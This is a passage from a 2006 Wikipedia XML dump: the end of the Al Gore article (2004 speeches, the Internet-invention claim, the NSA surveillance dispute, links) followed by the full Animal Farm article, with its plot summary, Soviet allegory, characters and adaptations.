In his speech, Gore stressed the importance of voting and having every vote counted, a point that foreshadowed the [[2004 U.S. election voting controversies]].

On [[May 26]], [[2004]], Gore gave a highly critical speech on the Iraq crisis and the [[Bush Administration]].  In the speech, Gore demanded [[Secretary of Defense]] [[Donald Rumsfeld]], [[United States National Security Advisor|National Security Advisor]] [[Condoleezza Rice]], [[Director of Central Intelligence]] [[George Tenet]], [[Deputy Secretary of Defense]] [[Paul Wolfowitz]], [[Undersecretary of Defense for Policy]] [[Douglas Feith]], and [[Under Secretary of Defense for Intelligence]] [[Stephen Cambone]] all resign for encouraging policies that led to the abuse of Iraqi prisoners and fanned hatred of Americans abroad.  During the fiery speech, which lasted more than an hour, Gore called the Bush administration's Iraq war plan &quot;incompetent&quot; and called George W. Bush the most dishonest president since [[Richard Nixon]], who resigned the office of the presidency in 1974 following the [[Watergate]] scandal. 

Gore also decried the [[Abu Ghraib prisoner abuse|abuse of prisoners in Abu Ghraib Prison in Iraq]], saying, &quot;What happened at that prison, it is now clear, is not the result of random acts of a few bad apples. It was the natural consequence of the Bush Administration policy.&quot;

====Convention====
As the first major speaker at the [[2004 Democratic National Convention]], Gore held himself out as a living reminder that every vote counts.  &quot;Let's make sure not only that the Supreme Court does not pick the next president, but also that this president is not the one who picks the next Supreme Court,&quot; said Gore.  Gore directed remarks to supporters of third-party presidential candidate [[Ralph Nader]], who abandoned the Democratic Party four years ago, asking them, &quot;Do you still believe that there was no difference between the candidates?&quot;

====Post-Convention====
On [[October 18]], 2004, Al Gore delivered his final major policy speech of the 2004 political season.  In an hour long presentation, Gore concluded that, &quot;I'm convinced that most of the president's frequent departures from fact-based analysis have much more to do with right-wing political and economic [[ideology]] than with the [[Bible]].&quot;

==Views and controversies==
{{main|Al Gore controversies}}
Gore is a strong supporter of [[abortion]] rights, [[free trade]], and strong [[environmentalism|environmental]] policy. He was a vocal opponent of the [[2003 invasion of Iraq]] [http://www.commonwealthclub.org/archive/02/02-09gore-speech.html].
Gore has gradually moved politically further [[Left-wing politics | left]]; he was once a moderate-to-conservative lawmaker. While in Congress, Gore had a strong pro-life record on abortion and voted pro-life 27 times. When exactly Gore became pro-choice is unknown, but by 1988, when he sought the Democratic presidential nomination, he was on record as opposing the criminalization of abortion.

Critics have charged Gore with [[1996 U.S. campaign finance scandal|illegal fundraising]] at a Buddhist temple and illegal use of his government office and telephone for political fundraising in violation of the Hatch Act, although he was never indicted on such a charge.

===The Internet===
Gore is a frequent target of satire, based on his supposedly having claimed to have invented the Internet. In fact he never made such a claim [http://www.snopes.com/quotes/internet.asp]. Rather, during an interview with [[Wolf Blitzer]] on [[CNN]]'s &quot;Late Edition&quot; on March 9, 1999, Gore stated:

: During my service in the United States Congress, I took the initiative in creating the Internet. I took the initiative in moving forward a whole range of initiatives that have proven to be important to our country's economic growth and environmental protection, improvements in our educational system [http://www.cnn.com/ALLPOLITICS/stories/1999/03/09/president.2000/transcript.gore].

The phrase from the statement above which sparked the debate, &quot;I took the initiative in creating the Internet,&quot; referred to Gore's involvement with and  sponsorship of the ''High Performance Computing Act of 1991'' which advanced the growth and mainstreaming of the Internet during the [[1990s]] [http://www.mit.edu/afs/net.mit.edu/dev/mit/jis/OldFiles/nrenbill.txt]. 

This statement was later defended by Internet pioneers [[Bob Kahn|Robert Kahn]] and [[Vinton Cerf]] [http://www.interesting-people.org/archives/interesting-people/200009/msg00052.html]:

: ...as the two people who designed the basic architecture and the core protocols that make the Internet work, we would like to acknowledge VP Gore's contributions as a Congressman, Senator and as Vice President.  No other elected official, to our knowledge, has made a greater contribution over a longer period of time.

===Accusations of hypocrisy by McClellan and Gonzales===
On the 16th of January, 2006, Gore accused U.S. [[George W. Bush|President Bush]] of &quot;breaking the law repeatedly and insistently,&quot; and called for a special investigation of [[NSA]] spying on Americans because the spying was without a warrant from a special federal court that authorizes such requests to eavesdrop on Americans.

Bush press secretary [[Scott McClellan]] and Attorney General [[Alberto Gonzales]] both responded to reporters that the Clinton-Gore administration had done illegal warrantless physical searches themselves of [[Aldrich Ames]] without permission from a judge. 

&quot;I think his hypocrisy knows no bounds,&quot; McClellan said of Gore. But the [[Foreign Intelligence Surveillance Act]] at the time did not cover physical searches. The law had changed in 1995. Gore claimed that because Gonzales made a &quot;political defense&quot; for Bush, he was no longer eligible to review charges against Bush and therefore must name a [[special counsel]]. 

&quot;His charges are factually wrong,&quot; said Gore, &quot;Both before and after the [[Foreign Intelligence Surveillance Act]] was amended in 1995; the Clinton-Gore administration complied fully and completely with the terms of the law.&quot; [http://www.forbes.com/business/manufacturing/feeds/ap/2006/01/17/ap2456266.html]

==See also==
===Al Gore Television Credits===
* [[The Tonight Show with Jay Leno]], ([[August 1]], [[2005]])
* [[Saturday Night Live]], ([[December 14]], [[2002]])
* [[The Tonight Show with Jay Leno]], ([[November 27]], [[2002]])
* [[Futurama]], &quot;[[Futurama (TV series - season 5)#Crimes of the Hot|Crimes of the Hot]]&quot;, ([[November 10]], [[2002]])
* [[Seven Days]], &quot;Stairway to Heaven&quot;, ([[October 11]], [[2000]])
* [[The Late Show with David Letterman]], ([[September 14]], [[2000]]) 
* [[Futurama]], &quot;[[Futurama (TV series - season 2)#Anthology of Interest I|Anthology of Interest I]]&quot;, ([[May 21]], [[2000]])
* [[Larry King Live]], ([[April 20]], 2000)
* [[Mad About You]], &quot;Breastfeeding&quot;, ([[January 6]], [[1998]])
* [[Late Show with David Letterman]], ([[September 8]], [[1993]])

==External links==
&quot;The [[Spallation Neutron Source|SNS Project]]&quot; and *[http://lib1.isd.ornl.gov:8087/cgi/psearch_sns_new.cgi?beg_num=1&amp;amp;end_num=50&amp;amp;sval=list&amp;amp;res_type=images&amp;amp;photo_num=&amp;amp;keywords=gore&amp;amp;connect4=AND&amp;amp;beg_yr=1999&amp;amp;end_yr=2005&amp;amp;sval2=list&amp;amp;submit=Submit&amp;amp;ips=25 Al Gore]

{{wikiquote}}
{{wikisource author}}

===General sites===
*[http://www.ElectGore2008.com/ ElectGore2008.com - Elect Al Gore in 2008 , For Current Daily Updated News on Al Gore, Discuss and Debate on Forum]
*[http://www.RunAlGore.com/ Al Gore For President - For Current Daily Updated News on Al Gore, Discuss and Debate on Forum ]
*[http://www.algoresupportcenter.com/ Al Gore Support Center 2008 - The Home of Hardcore Gore Supporters]
*[http://www.algore-08.com/ Al Gore '08 - Organize, Discuss, Act]
*[http://www.patriotsforgore.com/ Patriots for Al Gore/The Gore Support Site With A Social Conscience]
*[http://www.current.tv Current TV]
*[http://clinton5.nara.gov/WH/EOP/OVP/VP.html The Official NARA Online Office Of Vice President Gore (1993-2001)]
*[http://clinton3.nara.gov/WH/Accomplishments/ Clinton-Gore Administration Accomplishments]
* [http://www.washingtonpost.com/wp-srv/politics/campaigns/wh2000/stories/goremain100399.htm The Life of Al Gore - Washington Post]
*[http://www.ontheissues.org/Al_Gore.htm Al Gore on the Issues]
*[http://www.freemedia.at/Boston_Congress_Report/boston3.htm A New Approach for a New Century, International Press Institute World Congress, April 2000]
*[http://www.newsmeat.com/washington_political_donations/Al_Gore.php Political Donations Made by Al Gore]

===Recent speeches by Al Gore===
*[http://www.washingtonpost.com/wp-dyn/content/article/2006/01/16/AR2006011600779.html Gore's 2006 Martin Luther King Day Speech on NSA Spying Scandal and Restoring The Rule of Law] ([http://irregulartimes.com/gorejan06.mp3 mp3 audio] | [http://irregulartimes.com/index.php/archives/2006/01/16/al-gore-speech-transcript/ transcript])
*[http://mediacenter.blogs.com/morph/2005/10/al_gore_address.html Gore Speaks On The Threat To Democracy]
*[http://www.sierrasummit2005.org/sierrasummit/coverage/r016.asp Gore's Speech To The Sierra Club]
*[http://s6.invisionfree.com/Patriots_for_Gore/index.php?showtopic=2268 Gore Slams GOP's Efforts To End Filibuster]
*[http://www.xpatusa.com/Al_Gore2.htm Gore Charges The Bush Administration With A Failed Presidency]
*[http://www.nytimes.com/2004/07/26/politics/campaign/26TEXT-GORE.html Gore's Remarks At The 2004 Democratic Convention]
*[http://s8.invisionfree.com/Al_Gore_Support/index.php?showtopic=100 Gore Says Bush Lied To Push For War In Iraq]
*[http://www.moveonpac.org/gore/ Gore Calls for the Resignation of the Bush Team]
*[http://www.moveon.org/front/gore.html Gore Speaks on the Use of &quot;Fear&quot; in Politics] - 
*[http://www.moveon.org/gore3/speech.html Gore Speaks on Global Warming and the Environment]
*[http://www.moveon.org/gore/speech.html Gore Calls for the Repeal of the Patriot Act]
*[http://www.moveon.org/gore-speech.html Gore Blasts Bush for Misleading America]
*[http://www.commonwealthclub.org/archive/02/02-09gore-speech.html Gore Speaks On The Build Up To War With Iraq and The War On Terror]
*[http://www.gwu.edu/~action/2004/gore/gore100202sp.html Gore Speaks On Matching our Nation's Economic Course to Our Current Realities]

===Al Gore's Current===
*[http://www.current.tv Official website of the television station Current]

===Al Gore and the Internet===
* [http://clinton1.nara.gov/White_House/EOP/OVP/other/superhig.html Remarks as Delivered by Vice President Al Gore to The Superhighway Summit, UCLA (1994)] &amp;amp; [http://www.clintonfoundation.org/legacy/011194-remarks-by-the-vp-on-television.htm Another URL with the speech] 
* [http://www.firstmonday.org/issues/issue5_10/wiggins Al Gore and the Creation of the Internet]
* [http://www.snopes.com/quotes/internet.asp Snopes analyzes Gore's statement about his role in &quot;creation&quot; of the Internet]
* [http://www.politechbot.com/p-01394.html Full Text of Vint Cerf and Robert Kahn's Email on Gore and the Internet]

===Al Gore myths and media bias===
* [http://www.algoresupportcenter.com/goretruth.html Gore Myths Page]
* [http://www.eriposte.com/media/bias/media_bias_gore.htm Media Bias Against Al Gore Exposed]

===Al Gore's early career in journalism===
* [http://archives.cjr.org/year/93/1/gore.asp Columbia Journalism Review on Gore's journalistic past]

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[[Category:1948 births|Gore, Albert Arnold Jr.]]
[[Category:Al Gore|Al Gore]]
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  <page>
    <title>Animal Farm</title>
    <id>620</id>
    <revision>
      <id>42124943</id>
      <timestamp>2006-03-04T00:01:46Z</timestamp>
      <contributor>
        <username>Atreyu1075</username>
        <id>997080</id>
      </contributor>
      <comment>/* Cultural references */</comment>
      <text xml:space="preserve">[[Image:animalfarm2.jpg|thumb|right|200px|''Animal Farm'' book cover]]
'''Animal Farm''' is a [[satire|satirical]] [[novel]] (which can also be understood as a modern [[fable]] or [[allegory]]) by [[George Orwell]], ostensibly about a group of animals who oust the humans from the [[farm]] they live on and run it themselves, only to have it corrupted into a brutal tyranny on its own. It was written during [[World War II]] and published in 1945, although it was not widely successful until the late [[1950s]].

''Animal Farm'' is a thinly veiled critique and satire of Soviet [[totalitarianism]]. Many events in the book are based on events from the [[Soviet Union]] during the [[Stalin]] era.  Orwell, though a leftist — he was for many years a member of the [[Independent Labour Party]] — was a critic of Stalin, and suspicious of Moscow-directed communism after his experiences in the [[Spanish Civil War]].

==Plot==
{{spoiler}}
When the farm's prize-winning pig, [[Old Major]], calls a meeting of all the animals of Manor Farm, he tells them that he has had a dream in which mankind is gone, and animals are free to live in peace and harmony. He compares the humans to parasites, and then proceeds to teach the animals a [[revolution]]ary song, &quot;[[Beasts of England]]&quot;. The other animals begin to hope and dream for the revolution of such a day. When Old Major dies, a mere three days later, three pigs -- [[Snowball (Animal Farm)|Snowball]] (who teaches the animals to read), [[Napoleon (Animal Farm)|Napoleon]], and [[Squealer (Animal Farm)|Squealer]] -- assume command, and turn his dream into a full-fledged philosophy. One night, the starved animals suddenly revolt and drive the farmer [[Jones (Animal Farm)|Mr. Jones]], his wife, and his pet raven off the farm and take control. The farm is renamed &quot;Animal Farm&quot; as the animals work towards a future [[utopia]]. The [[Seven Commandments]] of the new philosophy of [[Animalism]] are written on the wall of a barn for all to read, the seventh and most important of which is that &quot;all animals are equal&quot;. All animals work, but the [[horse|workhorse]] [[Boxer (Animal Farm)|Boxer]] does more than his fair share and adopts a [[Maxim (saying)|maxim]] of his own — &quot;I will work harder.&quot;

Animal Farm is off to a great start. Snowball teaches the other animals to [[reading (activity)|read]] and write (though few animals besides the pigs learn to read well), food is plentiful due to a good harvest, and the entire Farm is organized and running smoothly. Even when Mr. Jones tries his last-ditch effort to retake control of the farm, the animals easily defeat him at what they later call the &quot;[[Battle of the Cowshed]]&quot;. Soon, however, things begin to unravel as Napoleon and Snowball begin an epic power struggle over the farm. When Snowball announces his idea for a [[windmill]], Napoleon quickly opposes it. A meeting is held, and when Snowball makes his passionate and articulate speech in favour of the windmill, Napoleon only makes a brief retort and then makes a strange noise to call in nine attack dogs. They burst in and chase Snowball off of the farm. In his absence, Napoleon declares himself the leader of the farm and makes instant changes. He announces that meetings will no longer be held as before, and a committee of pigs alone will decide what happens with the farm.

Napoleon changes his mind about the windmill, claiming (through Squealer) that Snowball stole the idea from him, and the animals begin to work. After a violent [[storm]], the animals wake to find the fruit of their months of labour utterly annihilated. Though neighbouring [[farmer]]s scoff at the thin walls, Napoleon and Squealer convince everyone that Snowball destroyed it. Napoleon begins to purge the farm, killing many animals he accuses of consorting with Snowball. In the meantime, Boxer takes a second [[mantra]], &quot;Napoleon is always right.&quot; 

Napoleon begins to abuse his powers even more and life on the farm becomes harder and harder for the rest of the animals. The pigs impose more and more controls on them while reserving [[privilege]]s for themselves. History is rewritten to villainise Snowball and glorify Napoleon even further. Each step of this development is justified by the pig, Squealer, who on several occasions alters the Seven Commandments on the barn in the dead of night. The song &quot;Beasts of England&quot; is banned as inappropriate now that the dream of Animal Farm has been realised, and is replaced by an anthem glorifying Napoleon who begins to live more and more like a human. The animals, though cold, starving, and overworked, remain convinced that they are still better off than when they were ruled by a man named Jones.

[[Frederick (Animal Farm)|Mr. Frederick]], one of the two neighbouring farmers, swindles Napoleon by paying with forged banknotes, and then attacks the farm and uses [[dynamite]] to blow up the recently restored windmill. Though the animals of Animal Farm eventually win the battle, they do so at a great cost, as many of the animals, including Boxer, are wounded. However, Boxer continues to work harder and harder, until he finally collapses while working on the windmill. Napoleon sends for a van to come and take Boxer to the veterinarian, but as Boxer is loaded up and the van drives away, the animals read what is written on the side of the van: &quot;Alfred Simmonds, Horse Slaughterer and Glue Boiler.&quot; Squealer quickly reports that the van with the old writing has been purchased by the hospital, and later that Boxer has died in the hospital, in spite of the best medical care. 

Many years pass, and the pigs learn to walk upright, carry [[whip]]s, and wear clothes. The Seven Commandments are reduced to a single phrase: &quot;All animals are equal, but some animals are more equal than others.&quot; Napoleon holds a dinner party for the pigs, and the humans of the area (in the adjacent Foxwood Farm run by Mr. [[Pilkington (Animal Farm)|Pilkington]]). He announces his alliance with the humans against the labouring classes of both &quot;worlds&quot;.

The animals discover this when they overhear Napoleon's conversations and finally realize that a change has come over the ruling pigs. During a poker match, an argument breaks out between Napoleon and Mr. Pilkington when they both play an [[Ace of Spades]], and the animals realise how they cannot tell the difference between the pigs and the humans.

The pigs walked on two feet and they adopted many of Mr. Jones' customs and principles. The pigs have violated every one of the rules set out in the beginning which they set up. This is when we come to the theme of this book: power corrupts.

==Plot references to real events==
*The ousting of the Humans after the farmers forget to feed the animals – [[Russian Revolution of 1917]] led to the removal of the Tsars after a series of famine and poverty.
*The refusal of the Humans to refer to Animal Farm by its new name (still calling it Manor Farm) may be indicative of the diplomatic limbo in which the Soviets existed following their early history. 
*Mr. Jones' last ditch effort to re-take the farm (The Battle of the Cowshed) – [[Russian Civil War]] in which the western capitalist governments sent soldiers to try to remove the Bolsheviks from power.
*Napoleon's removal of Snowball – [[Stalin]]’s removal of [[Leon Trotsky]] from power in 1927 and his subsequent expulsion.
*Napoleon stealing Snowball’s idea for a windmill – Stalin later shifted away from &quot;[[World revolution|World Socialism]]&quot; to &quot;[[Socialism in one country]]&quot; which Trotsky had originally promoted. The windmill can also be considered a symbol of the Soviet [[Five-Year Plan|Five-Year Plans]], a concept developed by Trotsky and adopted by Stalin, who claimed them to be his idea.
*Moses the raven leaving the farm for a while and then returning — Similar to the Russian Orthodox Church going underground and then being brought back to give the workers hope.
*Boxer's motto, &quot;Napoleon is always right&quot; is strikingly similar to &quot;Mussolini is always right&quot; a chant used to hail [[Benito Mussolini]] during his rule of [[Italy]] from 1922 to 1943.
*During the rise of Napoleon, he ordered the collection of all the hens' eggs. In an act of defiance, the Hens destroyed their eggs rather than give them to Napoleon — During Stalin's [[collectivization]] period in the early 1930s, many Ukrainian peasants burned their crops and farms rather than handing them over to the government.
*Napoleon's mass executions, of which many were unfair for the alleged crimes — [[Stalin]] executed his political enemies for various crimes after they were tortured and forced to falsely confess.
*The four pigs that go against Napoleon's will represent the [[White movement]].
*Napoleon's replacement of the farm anthem &quot;[[Beasts of England]]&quot; with an inane composition by the pig poet Minimus (&quot;Animal Farm, Animal Farm / Never through me / Will you come to harm&quot;) – In 1943, Stalin replaced the old national anthem &quot;[[the Internationale]]&quot; with &quot;the [[National Anthem of the Soviet Union|Hymn of the Soviet Union]].&quot; The old internationale glorified the revolution and &quot;the people.&quot; The original version of the Hymn of the Soviet Union glorified Stalin so heavily that after his death in 1953, entire sections of the anthem had to be replaced or removed. Orwell could have also been referring to [[Napoleon I of France|Napoleon Bonaparte]]'s banning of the French national hymn, [[La Marseillaise]] in 1799.
*Napoleon's dealing with Mr. Frederick, who eventually betrays Animal Farm and destroys the windmill. Though Animal Farm repels the human attack, many animals are wounded and killed — Stalin’s [[Molotov-Ribbentrop Pact]] with [[Nazi Germany]] in 1939, which was later betrayed in 1941 when [[Operation Barbarossa|Hitler invaded the Soviet Union]]. Though the Soviet Union won the war, it came at a tremendous price of roughly 8.5-15 million Soviet soldiers (unconfirmed) and many civilians, coming to an incredible estimated 20 million dead, as well as the utter destruction of the Western Soviet Union and its prized collective farms which Stalin had created in the 1930s.
*Napoleon's later alliance with the humans — Stalin’s non-aggression pact with Hitler in the early years of WWII.
*Napoleon's changing Animal Farm back to Manor — The [[Red Army]]’s name was changed from the &quot;Workers' and Peasants' Red Army&quot; to the &quot;Soviet Army&quot; to appear as a more appealing and professional organization rather than an army of the common people. 
*After Old Major dies, his skull is placed on display on a tree stump. Similarly, [[Vladmir Lenin|Lenin's]] (whom Old Major is based on along with Karl Marx) embalmed body was put on display in [[Lenin's mausoleum|Lenin's Tomb]] in [[Red Square]] postmortem, where it still remains.
*Squealer, constantly changing the commandments, is said to be a reference to a perversion in Russian religious history, as observed by [[Leo Tolstoy]] when the essential precepts of the [[Sermon on the Mount]] were altered by [[Russian Orthodox]] Church. It may also refer to the revision of history texts to glorify Stalin during his regime.

== Characters ==
The events and characters in Animal Farm are all carefully drawn to represent the history of the Soviet Union; Orwell makes this explicit in the case of Napoleon, whom he directly connects to Stalin in a letter of [[17 March]] [[1945]] to the publisher. 

:..when the windmill is blown up, I wrote 'all the animals including Napoleon flung themselves on their faces'.  I would like to alter it to 'all the animals except Napoleon'.  If that has been printed it's not worth bothering about, but I just thought the alteration would be fair to JS [Joseph Stalin], as he did stay in Moscow during the German advance.

The other characters have their analogies in the real world, but care should be taken with these comparisons as they do not always match history exactly and often simply represent generalised concepts.

===The pigs===
*[[Napoleon (Animal Farm)|Napoleon]] — The pig who becomes the leader of Animal Farm post-Rebellion. Created based on the actions of [[Joseph Stalin]], he uses his military (of nine attack dogs) to cement his power through fear. Napoleon craftily drives out his opponent, Snowball.
*[[Snowball (Animal Farm)|Snowball]] — The pig who fights Napoleon for control post-Rebellion. Inspired by [[Leon Trotsky]], Snowball is a passionate intellectual and is far more honest about his motives than Napoleon. Snowball easily wins the loyalty of most of the animals. Trotsky was driven into exile in Mexico where he was assassinated.
*[[Squealer (Animal Farm)|Squealer]] — The pig who serves as public speaker. Inspired by [[Vyacheslav Molotov]] and the Russian paper [[Pravda]], Squealer twists and abuses the language to excuse, justify and extol Napoleon's actions, no matter how egregious. All his life, George Orwell made it a point to show how politicians used language. Squealer limits the debate by complicating it, and he confuses and disorients, making claims that the pigs need the extra luxury they are taking in order to function properly. To squeal is to betray, something Squealer does often to his fellow animals.
*Minimus — A poet pig who writes a song about Napoleon, representing admirers of Stalin both inside and outside the [[Soviet Union|USSR]] such as [[Maxim Gorky]].
*[[Old Major (Animal Farm)|Old Major]] — As a fellow socialist, Orwell agreed with some of [[Karl Marx]]'s politics, and even respected [[Vladimir Lenin]]. In fact, the satire in Animal Farm is not of Marxism, or Lenin's revolution, but of the corruption that occurred later. Major, who is based upon both Lenin and Marx, is the inspiration which fuels the rest of the book. Though it is a positive image, Orwell does slip some flaws in Old Major, such as how during his complaints about the abuse of animals he admits that he has been largely free from those terrors.
*Pinkeye — A small piglet who tastes Napoleon's food for poisoning.
*Piglets — While not truly noted in the novel, these piglets are hinted to be the children of Napoleon, and are the first generation of animals to actually be subjugated to his idea of animal inequality.

===The humans===
*[[Jones (Animal Farm)|Mr. Jones]] — The original owner of Manor Farm. He is probably based on [[Nicholas II of Russia|Tsar Nicholas II]].
*[[Frederick (Animal Farm)|Mr. Frederick]] — The tough owner of Pinchfield, a well-kept neighbouring farm. He is probably based on [[Germany]] and/or [[Adolf Hitler]].
*[[Pilkington (Animal Farm)|Mr. Pilkington]] — The easy-going but crafty owner of Foxwood, a neighbouring farm. He represents [[United Kingdom|Britain]] and/or [[Winston Churchill]].
*Mr. Whymper — A human whom Napoleon hires to represent Animal Farm in human society. He is loosely based on [[George Bernard Shaw]] who visited the USSR in 1931 and praised what he found.

===The other animals===
*[[Boxer (Animal Farm)|Boxer]] — Possibly one of the more popular characters, Boxer is the tragic avatar of the working class, or [[proletariat]]: loyal, dedicated, and strong. His major flaw, however, is his blind trust of the leaders and his inability to see corruption. He is used and abused by the pigs as much or more than he was by Jones. His death serves to show just how far the pigs are willing to go. A strong and loyal [[draft horse]], Boxer played a huge part in keeping the Farm together prior to his death. Boxer could also represent a [[Stakhanovite]]. His name is a reference to the [[Boxer Rebellion]] 
*Clover — Boxer's close friend, and also a draft horse. She blames herself for forgetting the original [[Seven Commandments]] when Squealer revises them. She represents the middle class educated people who acquiesce to the subversion of principles by the powerful.
*Mollie — A horse who likes wearing ribbons (which represent luxury) and being pampered by humans. She represents upper-class people, the [[Bourgeoisie]] who fled from the [[Soviet Union|U.S.S.R]] after the [[Russian Revolution of 1917|Russian Revolution]].
*Benjamin — A [[donkey]] who is cynical about the revolution. He is said to be inspired by Orwell himself. He represented the skeptical people in and out of Russia who believed that [[communism]] would not help the people of Russia
*Moses — A tame [[raven]] who spreads stories of Sugarcandy Mountain, the &quot;animal heaven&quot;. These beliefs are denounced by the pigs. Moses represents religion (specifically the Russian Orthodox Church), which has always been in conflict with [[communism]]. It is interesting to note that, while Moses initially leaves the farm after the rebellion, he later returns and is supported by the pigs. This represents the cynical use of religion by the state to anaesthetise the minds of the masses.  
*Muriel — A [[goat]] who reads the edited commandments. She may represent intelligent labour.
*Jessie and Bluebell — Two dogs who give birth in Chapter III. Their puppies are nurtured by Napoleon to inspire fear, without doubt representing the formation of the [[NKVD]]/[[KGB]].
*The Hens — Represent the [[Kulaks]], landed [[peasants]] persecuted by [[Stalin]]. 
*The Dogs — Napoleon's secret police and bodyguards (inspired by Cheka, NKVD, OGPU, MVD)
*The Sheep — The sheep show the dumb, animal following of the proletariats in the midst of the Russian Civil War (“Four legs good, two legs bad!”).

== Significance==
The book is an [[allegory]] about the events following the revolution in the [[Soviet Union]], and in particular the rise of [[Stalinism]] and the betrayal of the revolution which basically replaced one dictatorship for another. 

Orwell wrote the book following his experiences during the [[Spanish Civil War]] which are described in another of his books, ''[[Homage to Catalonia]]''.  He intended it to be a strong condemnation of what he saw as the [[Stalinist]] corruption of the original [[socialism|socialist]] ideals, in which he believed and continued to believe after he saw a revolution betrayed, as in Spain.  For the preface of a Ukrainian edition he prepared in 1947, Orwell describes what gave him the idea of setting the book on a farm&lt;ref&gt;[http://www.netcharles.com/orwell/essays/ukrainian-af-pref.htm Preface to the Ukrainian Edition of Animal Farm]&lt;/ref&gt;.

:..I saw a little boy, perhaps ten years old, driving a huge cart-horse along a narrow path, whipping it whenever it tried to turn. It struck me that if only such animals became aware of their strength we should have no power over them, and that men exploit animals in much the same way as the rich exploit the proletariat.

This Ukrainian edition was an early propaganda use of the book.  It was printed to be distributed among the soviet citizens of Ukraine who were just some of the many millions of [[displaced persons]] throughout Europe at the end of the Second World War.  The American occupation forces did not appreciate these illegal presses, printing propaganda, and confiscated 1,500 copies of ''Animal Farm'', handing them to the Soviet authorities.  The politics in the book also affected Britain, with Orwell reporting that [[Ernest Bevin]] was &quot;terrified&quot;&lt;ref&gt; Letter to [[Herbert Read]], [[18 August]], [[1945]].&lt;/ref&gt; that it may cause embarrassment if published before the [[United Kingdom general election, 1945|1945 general election]].

In recent years the book has been used to compare new movements that overthrow heads of a corrupt and undemocratic government or organization, only to become corrupt and oppressive themselves over time as they succumb to the trappings of power and begin using violent and dictatorial methods to keep it. Such analogies have been used for many former African colonies such as [[Zimbabwe]] and [[Democratic Republic of Congo]], whose succeeding African-born rulers were thought to be as corrupt as the European colonists they supplanted.

In schools Animal Farm is used in the [[Core Knowledge]] curriculum. Core knowledge is based on the interaction of different subjects in schools. The way Animal Farm comes into play is that if a student's Geography or History Class is learning about the former Soviet Union, the English class will be reading Animal Farm.

==Post-publication views of the book==
In the post-[[World War Two|War]] years it became apparent to Orwell that anti-Russian literature was not something which most major publishing houses would touch — including his regular publisher [[Victor Gollancz Ltd|Gollancz]]. One publisher he sought to sell his book to rejected it on the grounds of government advice — although it was later found that the civil servant who gave the order was a [[Soviet Union|Soviet]] [[spy]].&lt;ref&gt;''Orwell: The Life'', D.J. Taylor, 2003, ISBN 0-8050-7473-2)''&lt;/ref&gt;

Orwell originally prepared a preface on freedom of the press for the book which noted &quot;The sinister fact about literary [[censorship]] in England is that it is largely voluntary. ... [Things are] kept right out of the British press, not because the Government intervened but because of a general tacit agreement that ‘it wouldn’t do’ to mention that particular fact.&quot;&lt;ref&gt;[http://orwell.ru/library/novels/Animal_Farm/english/efp_go The Freedom of the Press]&lt;/ref&gt; Somewhat [[irony|ironically]], the preface itself was censored and is not published with most copies of the book.

==Film versions==
The book was the basis of an animated feature [[film]] in 1955 (Britain's first full-length animated movie), directed by [[John Halas]] and [[Joy Batchelor]] and quietly commissioned by the American [[CIA]], which softened the theme of the story slightly by reducing the role of Moses, the character representing religion, and adding an epilogue, that occurs immediately after the novel's iconic concluding imagery is depicted, where the other animals successfully revolt against the pigs.

There was also a 1999 live action film directed by John Stephenson, with voices by [[Kelsey Grammer]] as Snowball, [[Patrick Stewart]] as Napoleon, and [[Ian Holm]] as Squealer. Despite a few differences (such as completely different songs and Jesse being the first to question the pigs), much of the plot is loyal to the book. The film diverges from the book with an additional epilogue in which Jesse and several animals escape and return years later to a post-Napoleon era Animal Farm. 

==Cultural references==
* [[Pink Floyd]]'s [[1977]] [[record album|album]] ''[[Animals (album)|Animals]]'' was partially inspired by Animal Farm. It categorises people as pigs, dogs, or sheep.
* In an episode of ''[[Johnny Bravo]]'' (&quot;Aunt Katie's Farm&quot;), Johnny, while dressed in a pig costume, goes crazy and yells, &quot;Four legs good! Two legs bad!&quot; over and over.
* Radical socialist rappers [[Dead Prez]] released a song called &quot;Animal in Man&quot; off their debut LP, ''[[Let's Get Free]]'', re-telling the story.
* A song off canadian band [[Protest the Hero]]'s debut CD [[A Calculated Use of Sound]], called &quot;Red Stars Over the Battle of the Cowshed&quot; is presumably a reference to Animal Farm

==See also==
'''Songs'''
*&quot;[[Beasts of England]]&quot;
*&quot;[[Comrade Napoleon]]&quot;
'''Battles'''
*[[Battle of the Cowshed]]
*[[Battle of the Windmill (Animal Farm)|Battle of the Windmill]]
'''Characters'''
*[[Old Major]]
*[[Napoleon (Animal Farm)|Napoleon]]
*[[Snowball (Animal Farm)|Snowball]]
*[[Squealer (Animal Farm)|Squealer]]
*[[Frederick (Animal Farm)|Frederick]]
*[[Pilkington (Animal Farm)|Pilkington]]
*[[Jones (Animal Farm)|Jones]]
*[[Boxer (Animal Farm)|Boxer]]
'''The Seven Commandments'''
*[[Seven Commandments]]

==References==
&lt;references/&gt;

== External links ==
{{wikiquote}}
* [http://www.cliffsnotes.com/WileyCDA/LitNote/id-12.html Animal Farm CliffsNotes]
* [http://www.slashdoc.com/tag/animal_farm.html Slashdoc : ''Animal Farm''] Analytical essays of the novel
* [http://www.george-orwell.org/Animal_Farm/index.html Animal Farm] &amp;mdash; Searchable, indexed etext.
* [http://www.netcharles.com/orwell/books/animalfarm.htm Animal Farm — Complete Novel] — Includes publication data and search feature.
* [http://www.netcharles.com/orwell/essays/letters-agent-af.htm Excerpts from Orwell's letters to his agent concerning Animal Farm]
* [http://t.webring.com/hub?ring=orwellwebring George Orwell Web Ring]
*[http://www.imdb.com/title/tt0047834/ IMDB — Animal Farm (1954 animated film)]
*[http://www.imdb.com/title/tt0204824/ IMDB — Animal Farm (1999 TV film)]

==ISBN numbers==
* ISBN 9966472487 ([[paperback]], [[1988]], Swahili translation)
* ISBN 0582021731 ([[paper text]], [[1989]])
* ISBN 0151072558 ([[hardcover]], [[1990]])
* ISBN 0582060109 (paper text, 1991)
* ISBN 0679420398 (hardcover, 1993)
* ISBN 0606001026 ([[prebound]], [[1996]])
* ISBN 0151002177 (hardcover, 1996, Anniversary Edition)
* ISBN 0452277507 ([[paperback]], 1996, Anniversary Edition)
* ISBN 0451526341 ([[mass market paperback]], 1996, Anniversary Edition)
* ISBN 0582530083 (1996)
* ISBN 1560005203 ([[cloth text]], [[1998]], Large Type Edition)
* ISBN 0791047741 (hardcover, 1999)
* ISBN 0451525361 (paperback, 1999)
* ISBN 0764108190 (paperback, 1999)
* ISBN 082207009X ([[e-book]], 1999)
* ISBN 0758778430 (hardcover, 2002)
* ISBN 0151010269 (hardcover, 2003, with ''[[Nineteen Eighty-Four]]'')
* ISBN 0452284244 (paperback, 2003, Centennial Edition)
* ISBN 0848801202 (hardcover)

[[Category:1945 books]]
